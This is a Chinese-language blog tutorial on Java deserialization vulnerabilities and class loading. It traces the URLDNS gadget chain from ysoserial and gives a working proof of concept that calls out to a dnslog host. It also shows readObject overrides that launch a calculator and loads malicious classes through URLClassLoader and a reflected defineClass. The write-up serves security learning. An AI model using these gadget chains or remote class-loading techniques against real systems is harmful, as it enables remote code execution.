java反序列化和类加载机制

Java反序列化介绍:

序列化(Serialization):把Java对象转换为字节序列的过程。
反序列化(DeSerialization):把字节序列恢复为Java对象的过程。

其中有两个重要的方法:writeObjectreadObject。序列化时需要使用writeObject将对象转化为字节流,反序列化需要使用readObject将字节流转化为对象。

反序列化基础操作

打开idea,创建项目,新建一个 Person 类,创建一些属性和方法(注:要想对类进行序列化操作,需要实现 Serializable 类)

image-20240424103734758

新建一个 Serialization 类,代码中调用 writeObject 方法进行序列化操作,运行后会生成一个名为 ser.bin 的序列化文件

image-20240424104644674

新建一个 Unserialization 类,调用 readObject 方法对 ser.bin 文件内容进行反序列化操作,然后输出反序列化后的对象

image-20240424110324114

反序列化漏洞原理

根据上面的例子,可见完成序列化和反序列化离不开两个重要的方法 writeObjectreadObject ,这两个方法可以经过开发者重写,一般序列化的重写都是由于下面这种场景诞生的。

只要服务端反序列化数据,客户端传递类的 readObject 中代码会自动执行,基于攻击者在服务器上运行代码的能力。

漏洞利用条件

  1. 大前提:参与序列化的所有类都继承了 Serializable,即所有类都是可序列化的
  2. 入口类重写了 readObject()方法,且其参数类型宽泛,并且是 jdk自带的
  3. 构造调用链
  4. 执行类 (RCE、SSRF、读写文件等)

产生安全问题的形式

  1. 入口类的 readObject()中调用了危险方法
  2. 入口类参数中包含可控类,该类调用 readObject()时会触发危险方法
  3. 入口类参数中包含可控类,该类 readObject()时调用其他类,其他类继续调用另一个类(套娃),直到有一个类调用了危险方法 (正常情况下反序列化漏洞的利用方法)
  4. 构造函数/静态代码块等类加载时隐式执行

接下来对每种形式进行举例讲解:

1.入口类的 readObject 直接调用危险方法

这种情况不太可能出现,但还是讲一下原理

在Person类中重写 readObject 方法,调用 Runtime.getRuntime().exec() 执行计算器

image-20240424133907888

进行序列化操作,生成ser.bin文件,对ser.bin文件反序列化时会调用重写的 readObject 方法,从而执行计算器

image-20240424134034223

1
2
3
原理:
1、在Java中,当一个类实现了Serializable接口并且重写readObject方法时,该方法会在对象进行反序列化时被调用。
2、由于在Person类中实现了Serializable接口,并且重写了readObject方法,所以在反序列化时调用ois.readObject()会触发Person类的readObject方法。

一般不会有程序员这么写…

2.入口类参数中包含可控类,该类有危险方法,readObject 时调用

toSting 方法:当使用 System.out.println() 打印对象时,实际上会调用该对象的 toString 方法来获取字符串表示形式

在Person类中重写 toString 方法,调用计算器

image-20240424135426887

进行序列化操作,生成ser.bin文件,对ser.bin文件反序列化时会调用重写的 toString 方法,从而执行计算器

image-20240424135758323

1
2
3
原理:
1、obj是通过反序列化得到的,其类型是Person,而Person类中重写了toString方法,所以在打印时会调用Person类的toString方法。
2、由于toString方法包含了执行Runtime.getRuntime().exec("calc")的代码,导致计算器弹出。

但这本身其实是由于打印对象时造成的安全问题,和反序列化并没有太大关系,

只是想说如果对方在反序列化的时候同时打印了对象,那么这里也可以成为一个利用点。

3.入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

这里使用 URLDNS反序列化链 进行分析

URLDNS 是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:

  • 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
  • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
  • URLDNS利用链,只能发起DNS请求,并不能进行其他利用
URLDNS反序列化链复现:

利用 ysoserial-0.0.6-SNAPSHOT-all.jar 工具生成一个序列化数据

链接:https://github.com/Y4er/ysoserial

image-20240424144200349

创建一个 UnseriaTest 类,对 urldns.txt 文件进行反序列化操作,urldns.txt需要放到项目目录下

image-20240424144448230

dnslog成功收到请求

image-20240424144601351

URLDNS反序列化链分析:

根据 ysoserial 中列出的 Gadget 进行分析:

1
2
3
4
5
*   Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()

具体流程就是:java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode,而传入 java.net.URL 类的时候会调用 URL.hashCode() ,URL.hashCode() 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求

HashMap#readObject:

代码中敲一个 HashMap (HashMap 是 Java 中一种常用的数据结构,用于存储键值对,它基于哈希表实现,可以高效地存储和检索数据),然后ctrl+鼠标点过去,搜索一下重写的 readObject 方法

image-20240424151032287

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
private void readObject(java.io.ObjectInputStream s) // 读取传入的输入流,对传入的序列化数据进行反序列化
throws IOException, ClassNotFoundException {
// 读取阈值(忽略)、加载因子和任何隐藏内容
s.defaultReadObject(); //使用 s.defaultReadObject() 读取并忽略阈值(threshold)、负载因子(loadfactor)和任何隐藏信息。
reinitialize(); //重新初始化 HashMap 对象
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // 读取并忽略存储桶数量
int mappings = s.readInt(); // 从输入流中读取映射数(即 HashMap 的大小)。如果映射数小于 0,则抛出 InvalidObjectException。
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) {
// 如果映射数大于 0,则根据负载因子和映射数调整表的容量。容量范围在 DEFAULT_INITIAL_CAPACITY 到 MAXIMUM_CAPACITY 之间。
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);

// 创建一个指定容量的 Node 数组作为 HashMap 的表(table)
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// 从输入流中依次读取键和值,并使用 putVal 方法将映射放入 HashMap 中
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

前面不懂可以不看,重点在putVal方法

HashMap.putVal():

putVal是往HashMap中放入键值对的方法,putVal 里调用了hash方法来处理key

1
2
3
4
5
6
7
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}

HashMap.hash():

跟进hash方法,这里又调用了key.hashcode方法,根据调用链来看,传入的是 key 值是URL 对象,所以调用的是 URL.hashCode()

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

URL#hashCode:

那么跟进到这个 URL 类的 hashCode() 方法看下,导入一个URL类,ctrl+鼠标点过去,搜索 hashCode() 方法

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

判断如果 hashCode 不为-1,那么直接返回了,代码中 hashCode 是通过private关键字进行修饰的赋值为-1,所以会执行下一步进行handler.hashCode(this)

image-20240425094458802

查看 handler.hashCode(this) 方法的定义,重点关注这里的 getHostAddress 方法,正是这步触发了dns请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected int hashCode(URL u) {
int h = 0;

// 生成协议部分
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// 生成host部分
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

// 生成文件部分
String file = u.getFile();
if (file != null)
h += file.hashCode();

// 生成端口部分
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();

// 生成ref部分
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();

return h;
}

查看 getHostAddress 方法的定义如下,其中 InetAddress.getByName(host) 会进行dns查询:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
protected synchronized InetAddress getHostAddress(URL u) {
// 检查URL对象的hostAddress字段是否已经存储了主机地址,如果已经存储,则直接返回该地址
if (u.hostAddress != null)
return u.hostAddress;

// 如果hostAddress字段为空,则尝试从URL对象中获取主机名。
String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);// 发送dns请求
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}
Poc验证:

以上是根据 ysoserial 中列出的 Gadget 进行的分析,接下来尝试写一个 poc 验证一下

image-20240425160322758

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package org.example;

import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws ClassNotFoundException, IOException, IllegalAccessException, NoSuchFieldException {
HashMap<URL, String> hashMap = new HashMap<URL, String>(); // new一个HashMap对象,需要传入键值对格式,这里传递一个URL类和字符串
URL url = new URL("http://2miwqz.dnslog.cn"); // new一个URL类,内容是dnslog的
hashMap.put(url,"123"); // 将URL和字符串put到hashMap里
serialize(hashMap);// 对hashMap进行序列化
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("urldns.bin"))); //将序列化后的数据输出到urldns.bin文件中
oos.writeObject(obj); //调用writeObject方法,对传入的类进行序列化操作
}
}

在这里发现问题,在进行序列化的时候就已经收到了dns的请求,这是因为给 hashMap 传值是调用了其 put 方法,put方法中调用了前面的 putVal 方法,之后调用 hashCode 方法,进行了dns请求

image-20240425160427804

跟一下 hashMap.put 方法,这里调用了 putVal 方法,putVal 又调用了 hash 方法,就会走到前面跟链的结果,从而请求dns:

image-20240425160959796

所以为了避免在序列化时就进行dns请求,这里可以使用反射的方式,先将 hashcode 的值设置为不是-1的值,这样就不会执行 handler.hashCode() 方法了,从而不进行dns请求

image-20240425162122720

关于反射的机制可以在这个链接中了解一下:https://javasec.org/javase/Reflection/Reflection.html

通过使用反射可以获取到任何类的成员方法、成员变量、构造方法等信息,还可以修改任意的类成员变量值等,这里直接利用反射修改 hashCode 的值即可

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;

import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws ClassNotFoundException, IOException, IllegalAccessException, NoSuchFieldException {
HashMap<URL, String> hashMap = new HashMap<URL, String>(); // new一个HashMap对象,需要传入键值对格式,这里传递一个URL类和字符串
URL url = new URL("http://s91yp7.dnslog.cn"); // new一个URL类,内容是dnslog的
Class<? extends URL> urlClass = url.getClass(); // 通过反射得到url类
Field hashCode = urlClass.getDeclaredField("hashCode"); // 获取hashCode值
hashCode.setAccessible(true);//由于hashCode是私有成员,所有这里需要设置允许访问对象的私有成员
hashCode.set(url,123); //修改hashCode值为123
hashMap.put(url,"123"); // 将URL和字符串put到hashMap里
hashCode.set(url,-1); // 由于之前将hashCode值修改了,为了后续反序列化时执行dns请求,需要将其修改回-1
serialize(hashMap);// 对hashMap进行序列化
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("urldns.bin"))); //将序列化后的数据输出到urldns.bin文件中
oos.writeObject(obj); //调用writeObject方法,对传入的类进行序列化操作
}
}

这样进行序列化就不会发送dns请求了

之后对序列化后的文件 urldns.bin 进行反序列化

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package org.example;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Unserialization {
public static void main(String[] args) throws IOException, ClassNotFoundException {
unserialize("urldns.bin"); // 对urldns.bin进行反序列化操作
}
public static void unserialize(String Filename) throws IOException, ClassNotFoundException, IOException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(Filename))); //将urldns.bin文件输入到ois对象中
ois.readObject();
}
}

同时 dnslog 接收到了反序列化时的dns请求

image-20240426092825997

ClassLoader(类加载机制)

类加载过程

先在方法区找class信息,有的话直接调用,没有的话则使用类加载器加载到方法区(静态成员放在静态区,非静态成功放在非静态区),静态代码块在类加载时自动执行代码,非静态的不执行;先父类后子类,先静态后非静态;静态方法和非静态方法都是被动调用,即不调用就不执行。

类加载的流程如下图:

image-20240510145620304

其中初始化阶段是会执行代码的,使用阶段就是创建对象,也会执行代码

构造函数和静态代码块

在Person类中创建一个静态代码块(不管调用哪种静态代码,都会调用静态代码块)和构造代码块(不管调用哪种构造方法,都会调用构造代码块)

1
2
3
4
5
6
7
8
9
10
package org.example;

public class Person {
static { //静态代码块定义
System.out.println("静态代码块");
}
{ //构造代码块定义
System.out.println("构造代码块");
}
}

当创建对象时,发现两个代码块都被输出了,由此可见在使用阶段两种代码块都调用了

image-20240510150501986

接下来分析一下哪个是在初始化阶段调用的,哪个是在使用阶段调用的

在Person类中加上一个静态变量id,给变量赋值时发现只调用了静态代码块,说明静态代码块是在初始化阶段就执行了

image-20240510151019135

image-20240510151032698

通过 Class.forName 动态加载Person类,发现调用了静态代码块,说明 Class.forName 加载时对类进行了初始化

image-20240510151448849

也可以让类加载的时候不进行初始化,跟踪一下 Class.forName 方法:

代码里return了一个 forName0 方法

image-20240510152118522

跟着看一下这个方法,发现这个方法是native定义的,是c/c++写的,其中有四个参数,第一个是类名,第二个是判断是否进行初始化,第三个是 ClassLoader 是个类加载器,第四个参数不重要

image-20240510152159996

Class.forName 中可以看到判断初始化的参数默认传的是true

image-20240510152905852

可以手动让其加载类时不进行初始化,其中第三个参数由于需要传递一个类加载器,可以通过 ClassLoader.getSystemClassLoader() 方法获取一个系统类加载器

1
2
3
4
5
6
7
8
9
10
11
package org.example;

public class Main {
public static void main(String[] args) throws ClassNotFoundException {
// new Person();
// Person.id = 1;
// Class.forName("org.example.Person");
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Class.forName("org.example.Person",false,classLoader);
}
}

执行后发现没有输出静态代码块,说明没有进行初始化

image-20240510153459637

双亲委派机制

前面代码是通过 ClassLoader.getSystemClassLoader() 方法来获取的系统类加载器,这里输出查看一下,得到结果是 AppClassLoader

image-20240510153907055

Java中提供了这四种类型的加载器:

  • Bootstrap ClassLoader 引导类加载器,是最基本的类加载器,也就是系统类加载器,加载的是 java.lang 下的类,它是ExtClassLoader的父类加载器
  • Extention ClassLoader 扩展类加载器,用来加载ext目录下的类库的,ExtClassLoader是AppClassLoader的父类加载器
  • Application ClassLoader 系统类加载器,主要负责加载当前应用的 classpath 下的所有类,平常使用的大部分都是通过这个类加载器加载的
    • classpath 实际上就是系统变量java.class.path的值
    • image-20240510155045829
  • User ClassLoader 自定义类加载器,用户自定义的类加载器,可加载指定路径的class文件

双亲委派机制,指的就是:当一个类加载器收到了类加载的请求的时候,他不会直接去加载指定的类,而是把这个请求委托给自己的父加载器去加载。只有父加载器无法加载这个类的时候,才会由当前这个加载器来负责类的加载。

注意:双亲委派机制只是一种逻辑的指向,并不是真正的继承关系

image_20240520101101

任意类加载

这里跟踪一下类加载器的底层原理,实现加载任意的类,从而实现任意类加载漏洞利用

跟踪前需要对jdk的 rt.jar 进行反编译一下,这样可以更清晰的看到代码逻辑,反编译流程可以看一下这个连接https://blog.csdn.net/yangyangrenren/article/details/117554745

加载Person类为例

在类加载地方打上断点,单机调试按钮

image-20240515165236643

单机强制步入(shift+alt+f7),走到了 ClassLoader 抽象类下的 loadClass 方法(抽象类无法实例化,需要被继承才能被使用)

image-20240515165251693

由之前分析得知,我们使用的是 AppClassLoader,所以调用的是 AppClassLoader 的 loadClass方法,这里调用了 super.loadClass

image-20240515165453793

继续跟进,代码又回到了 ClassLoader 类里面,在这里查询了parent加载器是否为null,结果为null的话就再往下慢慢去找.(parent加载器:请求委托给自己的父加载器去加载。只有父加载器无法加载这个类的时候,才会由当前这个加载器来负责类的加载。父类加载不了所以为null)

image-20240515165540153

走到 findClass 方法,会进入到URLclassloader里,这是因为Appclassloader中没有findClass方法,URLclassloader是Appclassloader类的父类,所以走到了URLclassloader

image-20240515165645932

跟一下URLclassloader的findClass方法,方法中最后会调用一个 defineClass 方法,实际上就是在这个方法里完成了类的加载

image-20240517091613046

跟一下这个 defineClass,代码中调用了另一个defineClass方法,继续跟进

image-20240517091727669

到了URLclassLoadr的父类SecureClassLoader的defineClass方法

image-20240517091753317

继续跟进,发现回到了最开始的 ClassLoader 类的defineClass方法,代码中调用了一个defineClass1方法,跟着看一下这个方法

image-20240517092158425

发现是三个native方法,传一个类名,传个字节码,最终就是在这里加载了字节码

image-20240517092223111

最后再一层一层的返回回去

从结果分析这几个类的父子关系是ClassLoader->SecureClassloader->urlclassloaer->applicationclassloaer

方法调用关系是loadClass->findClass->defineClass(从字节码加载类)

通过URLclassloader加载任意类

上面分析了 URLclassloader,这个类还可以通过url来加载任意类

首先本地起一个http服务,目录下有准备好的恶意类文件

image-20240517142936788

编写代码,利用URLClassLoader 通过http来加载执行Calc.class类

1
2
3
4
5
6
7
8
9
10
11
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class Main {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, MalformedURLException {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1/")}); //创建一个URLClassLoader对象,该对象使用URL数组作为参数进行初始化。在这里,URL数组只包含一个URL,即"http://127.0.0.1/"。
Class<?> aClass = urlClassLoader.loadClass("Calc"); //使用URLClassLoader的loadClass方法加载名为"Calc"的类。这会从指定的URL加载类的字节码。
aClass.newInstance(); //通过调用newInstance方法创建"Calc"类的一个新实例。
}
}

成功加载了恶意类

image-20240517142959216

image-20240517143025537

可以看到URLclassLoader可以加载class文件,除了http之外还可以用别的协议,比如file协议,jar协议等等

通过defineClass反射加载任意类

前面分析得知,最终加载类的字节码是用的 Classloader.defineClass 方法,这里通过反射来调用 defineClass 方法加载任意类,只需要以字节码的形式传入即可

编写代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
public static void main(String[] args) throws InstantiationException, IllegalAccessException, IOException, NoSuchMethodException, InvocationTargetException {
ClassLoader classLoader = ClassLoader.getSystemClassLoader(); //获取系统类加载器(Application ClassLoader)
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); //使用反射获取ClassLoader类中的defineClass方法,该方法用于定义新的类
defineClass.setAccessible(true); //设置defineClass方法为可访问(公有),因为它是ClassLoader类的一个受保护方法
byte[] bytes = Files.readAllBytes(Paths.get("/home/Simply/Test/Calc.class")); //读取位于指定路径/home/Simply/Test/Calc.class的字节码文件内容,并将其保存为字节数组
Class calc = (Class)defineClass.invoke(classLoader, "Calc", bytes, 0, bytes.length); //使用defineClass方法将字节码转换为Class对象,并指定类的名称为"Calc"
calc.newInstance(); //通过调用newInstance方法创建"Calc"类的一个新实例
}
}

成功弹出计算器

image-20240517144920390


java反序列化和类加载机制
http://example.com/2024/05/20/java反序列化和类加载机制/
作者
Simply
发布于
2024年5月20日
许可协议